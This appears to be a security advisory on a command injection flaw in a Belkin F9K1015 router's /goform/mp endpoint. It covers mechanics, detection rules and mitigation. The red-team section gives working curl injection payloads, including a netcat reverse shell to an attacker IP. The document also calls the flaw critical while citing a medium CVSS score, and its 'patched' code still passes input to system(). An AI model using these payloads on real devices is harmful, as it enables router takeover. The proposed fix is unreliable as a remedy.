CVE-2025-11303

Executive Summary

CVE-2025-11303 is a critical command injection vulnerability affecting the Belkin F9K1015 router running firmware version 1.00.10. The flaw resides in the /goform/mp endpoint, where the command argument is not properly sanitized, allowing an unauthenticated remote attacker to execute arbitrary system commands. The exploit has been publicly released, increasing the risk of mass exploitation. The vendor (Belkin) has not responded to disclosure attempts, and no patch is currently available. This vulnerability poses a significant threat to home and small office networks, potentially enabling full device compromise, network pivoting, and data exfiltration.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: Low (A:L) – Limited denial of service.

Threat Level: High. Despite the medium CVSS score, the public availability of a working exploit, the lack of a patch, and the widespread use of Belkin routers in home environments elevate the real-world risk. An attacker can gain full control of the device.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the web management interface of the Belkin F9K1015 router. The /goform/mp endpoint is used for managing certain router features (likely related to media or printer sharing). The command parameter is passed directly to a system shell without proper sanitization or escaping.

Technical Analysis:

1. Entry Point: The HTTP POST request to /goform/mp with the command parameter.
2. Vulnerable Code: The router's CGI binary (likely goform) takes the value of the command parameter and concatenates it into a system command string, e.g., system("some_binary " + command).
3. Injection: An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary commands.
4. Impact: Full remote code execution as the root user (typical for embedded devices). This allows the attacker to:
   • Modify router configuration (DNS, firewall rules).
   • Install persistent malware (e.g., botnet agents).
   • Sniff network traffic.
   • Launch attacks against internal network hosts.
   • Exfiltrate sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is:

Vulnerable (Conceptual C code):

void handle_mp_request(char *command) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "some_binary %s", command);
    system(cmd);
}

Patched (Conceptual C code):

void handle_mp_request(char *command) {
    // Sanitize input: remove shell metacharacters
    if (contains_shell_metacharacters(command)) {
        return_error("Invalid command");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "some_binary %s", command);
    system(cmd);
}

The patched version would validate the input against a whitelist of allowed characters or escape dangerous characters before passing it to system().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Belkin F9K1015 router with firmware 1.00.10.
• Network access to the router's web interface (typically on port 80 or 443).
• A tool like curl, Burp Suite, or a custom Python script.

Exploit Payload: The following curl command executes the id command on the router:

curl -X POST http://<router_ip>/goform/mp \
  -d "command=;id;"

Expected Output:

uid=0(root) gid=0(root)

Advanced Exploitation (Reverse Shell):

1. Set up a netcat listener on your attacker machine:

   nc -lvnp 4444
   

2. Execute the reverse shell payload (adjust IP and port):

   curl -X POST http://<router_ip>/goform/mp \
     -d "command=;nc <attacker_ip> 4444 -e /bin/sh;"
   

Lab Setup:

• Use a virtualized environment (e.g., GNS3, EVE-NG) with a Belkin F9K1015 firmware image.
• Alternatively, use a real device in an isolated network segment.
• Monitor traffic with Wireshark to observe the injection.

Blue Team (Detection & Response)

Detection:

• Monitor HTTP POST requests to /goform/mp containing shell metacharacters (;, |, &&, `).
• Alert on unusual outbound connections from the router (e.g., to unknown IPs on high ports).
• Check for unexpected processes running on the router (if shell access is available).

Response:

1. Isolate the affected router from the network immediately.
2. Perform a factory reset to remove any persistent malware.
3. Block access to the router's web interface from the WAN side.
4. Monitor for signs of lateral movement from the compromised device.
5. Contact Belkin support for a firmware update (though unlikely to be available).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/mp with suspicious payloads.
• Outbound connections from the router to unknown IP addresses on non-standard ports (e.g., 4444, 31337).
• DNS queries to known malicious domains.

Host IOCs (on the router):

• Unauthorized processes (e.g., nc, bash, perl).
• Modified system binaries (e.g., /bin/sh, /usr/sbin/httpd).
• Presence of files in /tmp/ or /var/run/ with suspicious names.
• Changes to /etc/config/ files (e.g., firewall, dhcp).

File IOCs:

• /tmp/.system (common for Mirai botnet)
• /var/run/ with unusual PID files.

Detection Engineering

YARA Rule

rule CVE_2025_11303_Command_Injection {
    meta:
        description = "Detects command injection attempts against Belkin F9K1015 /goform/mp"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11303"
    strings:
        $goform_mp = "/goform/mp"
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "&&"
        $shell_meta4 = "`"
        $shell_meta5 = "$("
    condition:
        $goform_mp and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-11303 Belkin F9K1015 Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /goform/mp with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/goform/mp"
    keywords:
        - "command=;"
        - "command=|"
        - "command=&&"
        - "command=`"
        - "command=$("
    condition: selection and keywords
falsepositives:
    - Legitimate use of shell commands in a controlled environment (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11303 Belkin F9K1015 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/mp"; http_uri; content:"command="; http_client_body; pcre:"/command=[^&]*[;|&`$]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: Ensure the router's web interface is not accessible from the WAN (Internet) side. This is typically disabled by default but should be verified.
2. Change Default Credentials: If not already done, change the router's admin password to a strong, unique password.
3. Monitor Logs: Enable logging on the router (if available) and monitor for suspicious activity.
4. Network Segmentation: Place the router in a separate VLAN or network segment to limit the impact of a compromise.

Long-Term Solutions:

1. Firmware Update: Check Belkin's support website regularly for a firmware update. If none is available, consider replacing the router with a more secure model from a vendor with a better security track record.
2. Vendor Disclosure: If you have a contact at Belkin, escalate this issue. Public pressure may lead to a patch.
3. IDS/IPS: Deploy network intrusion detection/prevention systems (e.g., Suricata, Snort) with the provided rules to block exploitation attempts.
4. Web Application Firewall (WAF): If the router is behind a WAF, create a custom rule to block requests to /goform/mp containing shell metacharacters.

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